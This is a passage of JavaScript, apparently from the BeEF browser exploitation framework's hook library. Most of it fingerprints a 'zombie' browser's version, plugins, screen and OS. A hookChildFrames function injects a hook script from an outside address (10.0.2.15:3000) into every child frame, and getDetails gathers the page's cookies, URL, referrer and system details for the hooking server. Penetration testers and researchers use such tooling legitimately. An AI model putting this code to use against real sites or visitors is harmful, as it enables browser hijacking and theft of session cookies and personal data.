  5506. ;// Chrome 55
  5507. if (this.isC55iOS()) {
  5508. return '55'
  5509. }
  5510. ; // Chrome 55 for iOS
  5511. if (this.isC56()) {
  5512. return '56'
  5513. }
  5514. ;// Chrome 56
  5515. if (this.isC56iOS()) {
  5516. return '56'
  5517. }
  5518. ; // Chrome 56 for iOS
  5519. if (this.isC57()) {
  5520. return '57'
  5521. }
  5522. ;// Chrome 57
  5523. if (this.isC57iOS()) {
  5524. return '57'
  5525. }
  5526. ; // Chrome 57 for iOS
  5527. if (this.isC58()) {
  5528. return '58'
  5529. }
  5530. ;// Chrome 58
  5531. if (this.isC58iOS()) {
  5532. return '58'
  5533. }
  5534. ; // Chrome 58 for iOS
  5535.  
  5536.  
  5537. if (this.isFF2()) {
  5538. return '2'
  5539. }
  5540. ; // Firefox 2
  5541. if (this.isFF3()) {
  5542. return '3'
  5543. }
  5544. ; // Firefox 3
  5545. if (this.isFF3_5()) {
  5546. return '3.5'
  5547. }
  5548. ; // Firefox 3.5
  5549. if (this.isFF3_6()) {
  5550. return '3.6'
  5551. }
  5552. ; // Firefox 3.6
  5553. if (this.isFF4()) {
  5554. return '4'
  5555. }
  5556. ; // Firefox 4
  5557. if (this.isFF5()) {
  5558. return '5'
  5559. }
  5560. ; // Firefox 5
  5561. if (this.isFF6()) {
  5562. return '6'
  5563. }
  5564. ; // Firefox 6
  5565. if (this.isFF7()) {
  5566. return '7'
  5567. }
  5568. ; // Firefox 7
  5569. if (this.isFF8()) {
  5570. return '8'
  5571. }
  5572. ; // Firefox 8
  5573. if (this.isFF9()) {
  5574. return '9'
  5575. }
  5576. ; // Firefox 9
  5577. if (this.isFF10()) {
  5578. return '10'
  5579. }
  5580. ; // Firefox 10
  5581. if (this.isFF11()) {
  5582. return '11'
  5583. }
  5584. ; // Firefox 11
  5585. if (this.isFF12()) {
  5586. return '12'
  5587. }
  5588. ; // Firefox 12
  5589. if (this.isFF13()) {
  5590. return '13'
  5591. }
  5592. ; // Firefox 13
  5593. if (this.isFF14()) {
  5594. return '14'
  5595. }
  5596. ; // Firefox 14
  5597. if (this.isFF15()) {
  5598. return '15'
  5599. }
  5600. ; // Firefox 15
  5601. if (this.isFF16()) {
  5602. return '16'
  5603. }
  5604. ; // Firefox 16
  5605. if (this.isFF17()) {
  5606. return '17'
  5607. }
  5608. ; // Firefox 17
  5609. if (this.isFF18()) {
  5610. return '18'
  5611. }
  5612. ; // Firefox 18
  5613. if (this.isFF19()) {
  5614. return '19'
  5615. }
  5616. ; // Firefox 19
  5617. if (this.isFF20()) {
  5618. return '20'
  5619. }
  5620. ; // Firefox 20
  5621. if (this.isFF21()) {
  5622. return '21'
  5623. }
  5624. ; // Firefox 21
  5625. if (this.isFF22()) {
  5626. return '22'
  5627. }
  5628. ; // Firefox 22
  5629. if (this.isFF23()) {
  5630. return '23'
  5631. }
  5632. ; // Firefox 23
  5633. if (this.isFF24()) {
  5634. return '24'
  5635. }
  5636. ; // Firefox 24
  5637. if (this.isFF25()) {
  5638. return '25'
  5639. }
  5640. ; // Firefox 25
  5641. if (this.isFF26()) {
  5642. return '26'
  5643. }
  5644. ; // Firefox 26
  5645. if (this.isFF27()) {
  5646. return '27'
  5647. }
  5648. ; // Firefox 27
  5649. if (this.isFF28()) {
  5650. return '28'
  5651. }
  5652. ; // Firefox 28
  5653. if (this.isFF29()) {
  5654. return '29'
  5655. }
  5656. ; // Firefox 29
  5657. if (this.isFF30()) {
  5658. return '30'
  5659. }
  5660. ; // Firefox 30
  5661. if (this.isFF31()) {
  5662. return '31'
  5663. }
  5664. ; // Firefox 31
  5665. if (this.isFF32()) {
  5666. return '32'
  5667. }
  5668. ; // Firefox 32
  5669. if (this.isFF33()) {
  5670. return '33'
  5671. }
  5672. ; // Firefox 33
  5673. if (this.isFF34()) {
  5674. return '34'
  5675. }
  5676. ; // Firefox 34
  5677. if (this.isFF35()) {
  5678. return '35'
  5679. }
  5680. ; // Firefox 35
  5681. if (this.isFF36()) {
  5682. return '36'
  5683. }
  5684. ; // Firefox 36
  5685. if (this.isFF37()) {
  5686. return '37'
  5687. }
  5688. ; // Firefox 37
  5689. if (this.isFF38()) {
  5690. return '38'
  5691. }
  5692. ; // Firefox 38
  5693. if (this.isFF39()) {
  5694. return '39'
  5695. }
  5696. ; // Firefox 39
  5697. if (this.isFF40()) {
  5698. return '40'
  5699. }
  5700. ; // Firefox 40
  5701. if (this.isFF41()) {
  5702. return '41'
  5703. }
  5704. ; // Firefox 41
  5705. if (this.isFF42()) {
  5706. return '42'
  5707. }
  5708. ; // Firefox 42
  5709. if (this.isFF43()) {
  5710. return '43'
  5711. }
  5712. ; // Firefox 43
  5713. if (this.isFF44()) {
  5714. return '44'
  5715. }
  5716. ; // Firefox 44
  5717. if (this.isFF45()) {
  5718. return '45'
  5719. }
  5720. ; // Firefox 45
  5721. if (this.isFF46()) {
  5722. return '46'
  5723. }
  5724. ; // Firefox 46
  5725. if (this.isFF47()) {
  5726. return '47'
  5727. }
  5728. ; // Firefox 47
  5729. if (this.isFF48()) {
  5730. return '48'
  5731. }
  5732. ; // Firefox 48
  5733. if (this.isFF49()) {
  5734. return '49'
  5735. }
  5736. ; // Firefox 49
  5737. if (this.isFF50()) {
  5738. return '50'
  5739. }
  5740. ; // Firefox 50
  5741. if (this.isFF51()) {
  5742. return '51'
  5743. }
  5744. ; // Firefox 51
  5745. if (this.isFF52()) {
  5746. return '52'
  5747. }
  5748. ; // Firefox 52
  5749. if (this.isFF53()) {
  5750. return '53'
  5751. }
  5752. ; // Firefox 53
  5753. if (this.isFF54()) {
  5754. return '54'
  5755. }
  5756. ; // Firefox 54
  5757. if (this.isFF55()) {
  5758. return '55'
  5759. }
  5760. ; // Firefox 55
  5761. if (this.isFF56()) {
  5762. return '56'
  5763. }
  5764. ; // Firefox 56
  5765. if (this.isFF57()) {
  5766. return '57'
  5767. }
  5768. ; // Firefox 57
  5769. if (this.isFF58()) {
  5770. return '58'
  5771. }
  5772. ; // Firefox 58
  5773.  
  5774. if (this.isIE6()) {
  5775. return '6'
  5776. }
  5777. ; // Internet Explorer 6
  5778. if (this.isIE7()) {
  5779. return '7'
  5780. }
  5781. ; // Internet Explorer 7
  5782. if (this.isIE8()) {
  5783. return '8'
  5784. }
  5785. ; // Internet Explorer 8
  5786. if (this.isIE9()) {
  5787. return '9'
  5788. }
  5789. ; // Internet Explorer 9
  5790. if (this.isIE10()) {
  5791. return '10'
  5792. }
  5793. ; // Internet Explorer 10
  5794. if (this.isIE11()) {
  5795. return '11'
  5796. }
  5797. ; // Internet Explorer 11
  5798.  
  5799. if (this.isEdge()) {
  5800. return '1'
  5801. }
  5802. ; // Microsoft Edge
  5803.  
  5804. if (this.isEpi()) {
  5805. // believe the UserAgent string for version info - until whenever
  5806. var epiphanyRe = /Epiphany\/(\d+)/;
  5807. var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
  5808. if (versionDetails.length > 1) {
  5809. return versionDetails[1];
  5810. } else {
  5811. return "UNKNOWN"; // returns from here or it may take Safari version details
  5812. }
  5813. }
  5814. ; // Epiphany
  5815.  
  5816. if (this.isS4()) {
  5817. return '4'
  5818. }
  5819. ; // Safari 4
  5820. if (this.isS5()) {
  5821. return '5'
  5822. }
  5823. ; // Safari 5
  5824. if (this.isS6()) {
  5825. return '6'
  5826. }
  5827. ; // Safari 6
  5828.  
  5829. if (this.isS7()) {
  5830. return '7'
  5831. }
  5832. ; // Safari 7
  5833. if (this.isS8()) {
  5834. return '8'
  5835. }
  5836. ; // Safari 8
  5837.  
  5838. if (this.isO9_52()) {
  5839. return '9.5'
  5840. }
  5841. ; // Opera 9.5x
  5842. if (this.isO9_60()) {
  5843. return '9.6'
  5844. }
  5845. ; // Opera 9.6
  5846. if (this.isO10()) {
  5847. return '10'
  5848. }
  5849. ; // Opera 10.xx
  5850. if (this.isO11()) {
  5851. return '11'
  5852. }
  5853. ; // Opera 11.xx
  5854. if (this.isO12()) {
  5855. return '12'
  5856. }
  5857. ; // Opera 12.xx
  5858.  
  5859. return 'UNKNOWN'; // Unknown UA
  5860. },
  5861.  
  5862. /**
  5863. * Returns the type of user agent by hooked browser.
  5864. * @return: {String} User agent software.
  5865. *
  5866. * @example: beef.browser.getBrowserName()
  5867. */
  5868. getBrowserName: function () {
  5869.  
  5870. if (this.isC()) {
  5871. return 'C'
  5872. }
  5873. ; // Chrome any version
  5874. if (this.isFF()) {
  5875. return 'FF'
  5876. }
  5877. ; // Firefox any version
  5878. if (this.isIE()) {
  5879. return 'IE'
  5880. }
  5881. ; // Internet Explorer any version
  5882. if (this.isEdge()) {
  5883. return 'E'
  5884. }
  5885. ; // Microsoft Edge any version
  5886. if (this.isO()) {
  5887. return 'O'
  5888. }
  5889. ; // Opera any version
  5890. if (this.isEpi()) {
  5891. return 'EP'
  5892. }
  5893. ; // Epiphany any version
  5894. if (this.isS()) {
  5895. return 'S'
  5896. }
  5897. ; // Safari any version
  5898. if (this.isA()) {
  5899. return 'A'
  5900. }
  5901. ; // Avant any version
  5902. if (this.isMidori()) {
  5903. return 'MI'
  5904. }
  5905. ; // Midori any version
  5906. if (this.isOdyssey()) {
  5907. return 'OD'
  5908. }
  5909. ; // Odyssey any version
  5910. if (this.isBrave()) {
  5911. return 'BR'
  5912. }
  5913. ; // Brave any version
  5914. return 'UNKNOWN'; // Unknown UA
  5915. },
  5916.  
  5917. /**
  5918. * Hooks all child frames in the current window
  5919. * Restricted by same-origin policy
  5920. */
  5921. hookChildFrames: function () {
  5922.  
  5923. // create script object
  5924. var script = document.createElement('script');
  5925. script.type = 'text/javascript';
  5926. script.src = 'http://10.0.2.15:3000/hook.js';
  5927.  
  5928. // loop through child frames
  5929. for (var i = 0; i < self.frames.length; i++) {
  5930. try {
  5931. // append hook script
  5932. self.frames[i].document.body.appendChild(script);
  5933. beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
  5934. } catch (e) {
  5935. // warn on cross-origin
  5936. beef.debug("Hooking child frame failed: " + e.message);
  5937. }
  5938. }
  5939. },
  5940.  
  5941. /**
  5942. * Checks if the zombie has flash installed and enabled.
  5943. * @return: {Boolean} true or false.
  5944. *
  5945. * @example: if(beef.browser.hasFlash()) { ... }
  5946. */
  5947. hasFlash: function () {
  5948. if (!this.type().IE) {
  5949. return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
  5950. } else {
  5951. flash_versions = 12;
  5952. flash_installed = false;
  5953.  
  5954.  
  5955. if (this.type().IE11) {
  5956. flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
  5957. } else {
  5958. if (window.ActiveXObject != null) {
  5959. for (x = 2; x <= flash_versions; x++) {
  5960. try {
  5961. Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
  5962. if (Flash) {
  5963. flash_installed = true;
  5964. }
  5965. } catch (e) {
  5966. beef.debug("Creating Flash ActiveX object failed: " + e.message);
  5967. }
  5968. }
  5969. }
  5970. }
  5971. return flash_installed;
  5972. }
  5973. },
  5974.  
  5975. /**
  5976. * Checks if the zombie has the QuickTime plugin installed.
  5977. * @return: {Boolean} true or false.
  5978. *
  5979. * @example: if ( beef.browser.hasQuickTime() ) { ... }
  5980. */
  5981. hasQuickTime: function () {
  5982.  
  5983. var quicktime = false;
  5984.  
  5985. if (this.capabilities()["navigator.plugins"]) {
  5986.  
  5987. for (i = 0; i < navigator.plugins.length; i++) {
  5988.  
  5989. if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
  5990. quicktime = true;
  5991. }
  5992.  
  5993. }
  5994.  
  5995. // Has navigator.plugins
  5996. } else {
  5997.  
  5998. try {
  5999.  
  6000. var qt_test = new ActiveXObject('QuickTime.QuickTime');
  6001.  
  6002. } catch (e) {
  6003. beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
  6004. }
  6005.  
  6006. if (qt_test) {
  6007. quicktime = true;
  6008. }
  6009.  
  6010. }
  6011.  
  6012. return quicktime;
  6013.  
  6014. },
  6015.  
  6016. /**
  6017. * Checks if the zombie has the RealPlayer plugin installed.
  6018. * @return: {Boolean} true or false.
  6019. *
  6020. * @example: if ( beef.browser.hasRealPlayer() ) { ... }
  6021. */
  6022. hasRealPlayer: function () {
  6023.  
  6024. var realplayer = false;
  6025.  
  6026. if (this.capabilities()["navigator.plugins"]) {
  6027.  
  6028.  
  6029. for (i = 0; i < navigator.plugins.length; i++) {
  6030.  
  6031. if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
  6032. realplayer = true;
  6033. }
  6034.  
  6035. }
  6036.  
  6037. // has navigator.plugins
  6038. } else {
  6039.  
  6040. var definedControls = [
  6041. 'RealPlayer',
  6042. 'rmocx.RealPlayer G2 Control',
  6043. 'rmocx.RealPlayer G2 Control.1',
  6044. 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
  6045. 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
  6046. ];
  6047.  
  6048. for (var i = 0; i < definedControls.length; i++) {
  6049.  
  6050. try {
  6051. var rp_test = new ActiveXObject(definedControls[i]);
  6052. } catch (e) {
  6053. beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
  6054. }
  6055.  
  6056. if (rp_test) {
  6057. realplayer = true;
  6058.  
  6059. }
  6060. }
  6061. }
  6062.  
  6063. return realplayer;
  6064.  
  6065. },
  6066.  
  6067. /**
  6068. * Checks if the zombie has the Windows Media Player plugin installed.
  6069. * @return: {Boolean} true or false.
  6070. *
  6071. * @example: if ( beef.browser.hasWMP() ) { ... }
  6072. */
  6073. hasWMP: function () {
  6074.  
  6075. var wmp = false;
  6076.  
  6077. if (this.capabilities()["navigator.plugins"]) {
  6078.  
  6079.  
  6080. for (i = 0; i < navigator.plugins.length; i++) {
  6081.  
  6082. if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
  6083. wmp = true;
  6084. }
  6085.  
  6086. }
  6087.  
  6088. // Has navigator.plugins
  6089. } else {
  6090.  
  6091. try {
  6092.  
  6093. var wmp_test = new ActiveXObject('WMPlayer.OCX');
  6094.  
  6095. } catch (e) {
  6096. beef.debug("Creating WMP ActiveX object failed: " + e.message);
  6097. }
  6098.  
  6099. if (wmp_test) {
  6100. wmp = true;
  6101. }
  6102.  
  6103. }
  6104.  
  6105. return wmp;
  6106.  
  6107. },
  6108.  
  6109. /**
  6110. * Checks if VLC is installed
  6111. * @return: {Boolean} true or false
  6112. **/
  6113. hasVLC: function () {
  6114. var vlc = false;
  6115. if (!this.type().IE) {
  6116. for (i = 0; i < navigator.plugins.length; i++) {
  6117. if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
  6118. vlc = true;
  6119. }
  6120. }
  6121. } else {
  6122. try {
  6123. control = new ActiveXObject("VideoLAN.VLCPlugin.2");
  6124. vlc = true;
  6125. } catch (e) {
  6126. beef.debug("Creating VLC ActiveX object failed: " + e.message);
  6127. }
  6128. }
  6129. return vlc;
  6130. },
  6131.  
  6132. /**
  6133. * Checks if the zombie has Java enabled.
  6134. * @return: {Boolean} true or false.
  6135. *
  6136. * @example: if(beef.browser.javaEnabled()) { ... }
  6137. */
  6138. javaEnabled: function () {
  6139.  
  6140. return navigator.javaEnabled();
  6141.  
  6142. },
  6143.  
  6144. /**
  6145. * Checks if the Phonegap API is available from the hooked origin.
  6146. * @return: {Boolean} true or false.
  6147. *
  6148. * @example: if(beef.browser.hasPhonegap()) { ... }
  6149. */
  6150. hasPhonegap: function () {
  6151. var result = false;
  6152.  
  6153. try {
  6154. if (!!device.phonegap || !!device.cordova) result = true; else result = false;
  6155. }
  6156. catch (e) {
  6157. result = false;
  6158. }
  6159. return result;
  6160. },
  6161.  
  6162. /**
  6163. * Checks if the browser supports CORS
  6164. * @return: {Boolean} true or false.
  6165. *
  6166. * @example: if(beef.browser.hasCors()) { ... }
  6167. */
  6168. hasCors: function () {
  6169. if ('withCredentials' in new XMLHttpRequest())
  6170. return true;
  6171. else if (typeof XDomainRequest !== "undefined")
  6172. return true;
  6173. else
  6174. return false;
  6175. },
  6176.  
  6177. /**
  6178. * Checks if the zombie has Java installed and enabled.
  6179. * @return: {Boolean} true or false.
  6180. *
  6181. * @example: if(beef.browser.hasJava()) { ... }
  6182. */
  6183. hasJava: function () {
  6184. if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
  6185. return true;
  6186. } else {
  6187. return false;
  6188. }
  6189. },
  6190.  
  6191. /**
  6192. * Checks if the zombie has VBScript enabled.
  6193. * @return: {Boolean} true or false.
  6194. *
  6195. * @example: if(beef.browser.hasVBScript()) { ... }
  6196. */
  6197. hasVBScript: function () {
  6198. if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
  6199. return true;
  6200. } else {
  6201. return false;
  6202. }
  6203. },
  6204.  
  6205. /**
  6206. * Returns the list of plugins installed in the browser.
  6207. */
  6208. getPlugins: function () {
  6209.  
  6210. var results;
  6211. Array.prototype.unique = function () {
  6212. var o = {}, i, l = this.length, r = [];
  6213. for (i = 0; i < l; i += 1) o[this[i]] = this[i];
  6214. for (i in o) r.push(o[i]);
  6215. return r;
  6216. };
  6217.  
  6218. // Things lacking navigator.plugins
  6219. if (!this.capabilities()["navigator.plugins"]) results = this.getPluginsIE();
  6220.  
  6221. // All other browsers that support navigator.plugins
  6222. else if (navigator.plugins && navigator.plugins.length > 0) {
  6223. results = new Array();
  6224. for (var i = 0; i < navigator.plugins.length; i++) {
  6225.  
  6226. // Firefox returns exact plugin versions
  6227. if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
  6228.  
  6229. // Webkit and Presto (Opera)
  6230. // Don't support the version attribute
  6231. // Sometimes store the version in description (Real, Adobe)
  6232. else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
  6233. }
  6234. results = results.unique().toString();
  6235.  
  6236. // All browsers that don't support navigator.plugins
  6237. } else {
  6238. results = new Array();
  6239. //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
  6240. // On linux sistem the "version" slot is empty so I'll attach "description" after version
  6241. var plugins = {
  6242.  
  6243. 'AdobeAcrobat': {
  6244. 'control': 'Adobe Acrobat',
  6245. 'return': function (control) {
  6246. try {
  6247. version = navigator.plugins["Adobe Acrobat"]["description"];
  6248. return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
  6249.  
  6250. }
  6251. catch (e) {
  6252. }
  6253.  
  6254.  
  6255. }},
  6256. 'Flash': {
  6257. 'control': 'Shockwave Flash',
  6258. 'return': function (control) {
  6259. try {
  6260. version = navigator.plugins["Shockwave Flash"]["description"];
  6261. return 'Flash Player Version ' + version; //+ " description "+ filename;
  6262. }
  6263.  
  6264. catch (e) {
  6265. }
  6266. }},
  6267. 'Google_Talk_Plugin_Accelerator': {
  6268. 'control': 'Google Talk Plugin Video Accelerator',
  6269. 'return': function (control) {
  6270.  
  6271. try {
  6272. version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
  6273. return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
  6274. }
  6275. catch (e) {
  6276. }
  6277. }},
  6278. 'Google_Talk_Plugin': {
  6279. 'control': 'Google Talk Plugin',
  6280. 'return': function (control) {
  6281. try {
  6282. version = navigator.plugins['Google Talk Plugin']["description"];
  6283. return 'Google Talk Plugin Version ' + version;// " description "+ filename;
  6284. }
  6285. catch (e) {
  6286. }
  6287. }},
  6288. 'Facebook_Video_Calling_Plugin': {
  6289. 'control': 'Facebook Video Calling Plugin',
  6290. 'return': function (control) {
  6291. try {
  6292. version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
  6293. return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
  6294. }
  6295. catch (e) {
  6296. }
  6297. }},
  6298. 'Google_Update': {
  6299. 'control': 'Google Update',
  6300. 'return': function (control) {
  6301. try {
  6302. version = navigator.plugins["Google Update"]["description"];
  6303. return 'Google Update Version ' + version//+ " description "+ filename;
  6304. }
  6305. catch (e) {
  6306. }
  6307. }},
  6308. 'Windows_Activation_Technologies': {
  6309. 'control': 'Windows Activation Technologies',
  6310. 'return': function (control) {
  6311. try {
  6312. version = navigator.plugins["Windows Activation Technologies"]["description"];
  6313. return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
  6314. }
  6315. catch (e) {
  6316. }
  6317.  
  6318. }},
  6319. 'VLC_Web_Plugin': {
  6320. 'control': 'VLC Web Plugin',
  6321. 'return': function (control) {
  6322. try {
  6323. version = navigator.plugins["VLC Web Plugin"]["description"];
  6324. return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
  6325. }
  6326. catch (e) {
  6327. }
  6328. }},
  6329. 'Google_Earth_Plugin': {
  6330. 'control': 'Google Earth Plugin',
  6331.  
  6332. 'return': function (control) {
  6333. try {
  6334. version = navigator.plugins['Google Earth Plugin']["description"];
  6335. return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
  6336. }
  6337. catch (e) {
  6338. }
  6339. }},
  6340. 'FoxitReader_Plugin': {
  6341. 'control': 'FoxitReader Plugin',
  6342. 'return': function (control) {
  6343. try {
  6344. version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
  6345. return 'FoxitReader Plugin Version ' + version;
  6346. } catch (e) {
  6347. }
  6348. }}
  6349. };
  6350.  
  6351. var c = 0;
  6352. for (var i in plugins) {
  6353. //each element od plugins
  6354. var control = plugins[i]['control'];
  6355. try {
  6356. var version = plugins[i]['return'](control);
  6357. if (version) {
  6358. results[c] = version;
  6359. c = c + 1;
  6360. }
  6361. }
  6362. catch (e) {
  6363. }
  6364.  
  6365. }
  6366. }
  6367. // Return results
  6368. return results;
  6369. },
  6370.  
  6371. /**
  6372. * Returns a list of plugins detected by IE. This is a hack because IE doesn't
  6373. * support navigator.plugins
  6374. */
  6375. getPluginsIE: function () {
  6376. var results = '';
  6377. var plugins = {
  6378. 'AdobePDF6': {
  6379. 'control': 'PDF.PdfCtrl',
  6380. 'return': function (control) {
  6381. version = control.getVersions().split(',');
  6382. version = version[0].split('=');
  6383. return 'Acrobat Reader v' + parseFloat(version[1]);
  6384. }},
  6385. 'AdobePDF7': {
  6386. 'control': 'AcroPDF.PDF',
  6387. 'return': function (control) {
  6388. version = control.getVersions().split(',');
  6389. version = version[0].split('=');
  6390. return 'Acrobat Reader v' + parseFloat(version[1]);
  6391. }},
  6392. 'Flash': {
  6393. 'control': 'ShockwaveFlash.ShockwaveFlash',
  6394. 'return': function (control) {
  6395. version = control.getVariable('$version').substring(4);
  6396. return 'Flash Player v' + version.replace(/,/g, ".");
  6397. }},
  6398. 'Quicktime': {
  6399. 'control': 'QuickTime.QuickTime',
  6400. 'return': function (control) {
  6401. return 'QuickTime Player';
  6402. }},
  6403. 'RealPlayer': {
  6404. 'control': 'RealPlayer',
  6405. 'return': function (control) {
  6406. version = control.getVersionInfo();
  6407. return 'RealPlayer v' + parseFloat(version);
  6408. }},
  6409. 'Shockwave': {
  6410. 'control': 'SWCtl.SWCtl',
  6411. 'return': function (control) {
  6412. version = control.ShockwaveVersion('').split('r');
  6413. return 'Shockwave v' + parseFloat(version[0]);
  6414. }},
  6415. 'WindowsMediaPlayer': {
  6416. 'control': 'WMPlayer.OCX',
  6417. 'return': function (control) {
  6418. return 'Windows Media Player v' + parseFloat(control.versionInfo);
  6419. }},
  6420. 'FoxitReaderPlugin': {
  6421. 'control': 'FoxitReader.FoxitReaderCtl.1',
  6422. 'return': function (control) {
  6423. return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
  6424. }}
  6425. };
  6426. if (window.ActiveXObject) {
  6427. var j = 0;
  6428. for (var i in plugins) {
  6429. var control = null;
  6430. var version = null;
  6431. try {
  6432. control = new ActiveXObject(plugins[i]['control']);
  6433. } catch (e) {
  6434. }
  6435. if (control) {
  6436. if (j != 0)
  6437. results += ', ';
  6438. results += plugins[i]['return'](control);
  6439. j++;
  6440. }
  6441. }
  6442. }
  6443. return results;
  6444. },
  6445.  
  6446. /**
  6447. * Returns zombie screen size and color depth.
  6448. */
  6449. getScreenSize: function () {
  6450. return {
  6451. width: window.screen.width,
  6452. height: window.screen.height,
  6453. colordepth: window.screen.colorDepth
  6454. }
  6455. },
  6456.  
  6457. /**
  6458. * Returns zombie browser window size.
  6459. * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
  6460. */
  6461. getWindowSize: function () {
  6462. var myWidth = 0, myHeight = 0;
  6463. if (typeof( window.innerWidth ) == 'number') {
  6464. // Non-IE
  6465. myWidth = window.innerWidth;
  6466. myHeight = window.innerHeight;
  6467. } else if (document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight )) {
  6468. // IE 6+ in 'standards compliant mode'
  6469. myWidth = document.documentElement.clientWidth;
  6470. myHeight = document.documentElement.clientHeight;
  6471. } else if (document.body && ( document.body.clientWidth || document.body.clientHeight )) {
  6472. // IE 4 compatible
  6473. myWidth = document.body.clientWidth;
  6474. myHeight = document.body.clientHeight;
  6475. }
  6476. return {
  6477. width: myWidth,
  6478. height: myHeight
  6479. }
  6480. },
  6481.  
  6482. /**
  6483. * Construct hash from browser details. This function is used to grab the browser details during the hooking process
  6484. */
  6485. getDetails: function () {
  6486. var details = new Array();
  6487.  
  6488. var browser_name = beef.browser.getBrowserName();
  6489. var browser_version = beef.browser.getBrowserVersion();
  6490. var browser_reported_name = beef.browser.getBrowserReportedName();
  6491. var browser_language = beef.browser.getBrowserLanguage();
  6492. var page_title = (document.title) ? document.title : "Unknown";
  6493. var page_uri = (document.location.href) ? document.location.href : "Unknown";
  6494. var page_referrer = (document.referrer) ? document.referrer : "Unknown";
  6495. var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
  6496. switch (document.location.protocol) {
  6497. case "http:":
  6498. var default_port = "80";
  6499. break;
  6500. case "https:":
  6501. var default_port = "443";
  6502. break
  6503. default:
  6504. var default_port = "";
  6505. }
  6506. var hostport = (document.location.port) ? document.location.port : default_port;
  6507. var browser_plugins = beef.browser.getPlugins();
  6508. var date_stamp = new Date().toString();
  6509. var os_name = beef.os.getName();
  6510. var os_version = beef.os.getVersion();
  6511. var default_browser = beef.os.getDefaultBrowser();
  6512. var hw_name = beef.hardware.getName();
  6513. var cpu_type = beef.hardware.cpuType();
  6514. var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
  6515. var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : 'Unknown';
  6516. var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
  6517. if (value == true) return value;
  6518. else if (typeof value == 'object') return value;
  6519. else return undefined;
  6520. });
  6521. var screen_size = beef.browser.getScreenSize();
  6522. var window_size = beef.browser.getWindowSize();
  6523. var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
  6524. var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
  6525. var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
  6526. var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
  6527. var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
  6528. var has_web_worker = (beef.browser.hasWebWorker()) ? "Yes" : "No";
  6529. var has_web_gl = (beef.browser.hasWebGL()) ? "Yes" : "No";
  6530. var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
  6531. var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
  6532. var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
  6533. var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
  6534. var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
  6535. try {
  6536. var cookies = document.cookie;
  6537. /* Never stop the madness dear C.
  6538. * var veglol = beef.browser.cookie.veganLol();
  6539. */
  6540. if (cookies) details['Cookies'] = cookies;
  6541. } catch (e) {
  6542. details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly.";
  6543. }
  6544.  
  6545. if (browser_name) details['BrowserName'] = browser_name;
  6546. if (browser_version) details['BrowserVersion'] = browser_version;
  6547. if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
  6548. if (browser_language) details['BrowserLanguage'] = browser_language;
  6549. if (page_title) details['PageTitle'] = page_title;
  6550. if (page_uri) details['PageURI'] = page_uri;
  6551. if (page_referrer) details['PageReferrer'] = page_referrer;
  6552. if (hostname) details['HostName'] = hostname;
  6553. if (hostport) details['HostPort'] = hostport;
  6554. if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
  6555. if (os_name) details['OsName'] = os_name;
  6556. if (os_version) details['OsVersion'] = os_version;
  6557. if (default_browser) details['DefaultBrowser'] = default_browser;
  6558. if (hw_name) details['Hardware'] = hw_name;
  6559. if (cpu_type) details['CPU'] = cpu_type;
  6560. if (touch_enabled) details['TouchEnabled'] = touch_enabled;
  6561. if (date_stamp) details['DateStamp'] = date_stamp;
  6562. if (browser_platform) details['BrowserPlatform'] = browser_platform;
  6563. if (browser_type) details['BrowserType'] = browser_type;
  6564. if (screen_size) details['ScreenSize'] = screen_size;
  6565. if (window_size) details['WindowSize'] = window_size;
  6566. if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
  6567. if (has_flash) details['HasFlash'] = has_flash;
  6568. if (has_phonegap) details['HasPhonegap'] = has_phonegap;
  6569. if (has_web_socket) details['HasWebSocket'] = has_web_socket;
  6570. if (has_web_worker) details['HasWebWorker'] = has_web_worker;
  6571. if (has_web_gl) details['HasWebGL'] = has_web_gl;
  6572. if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
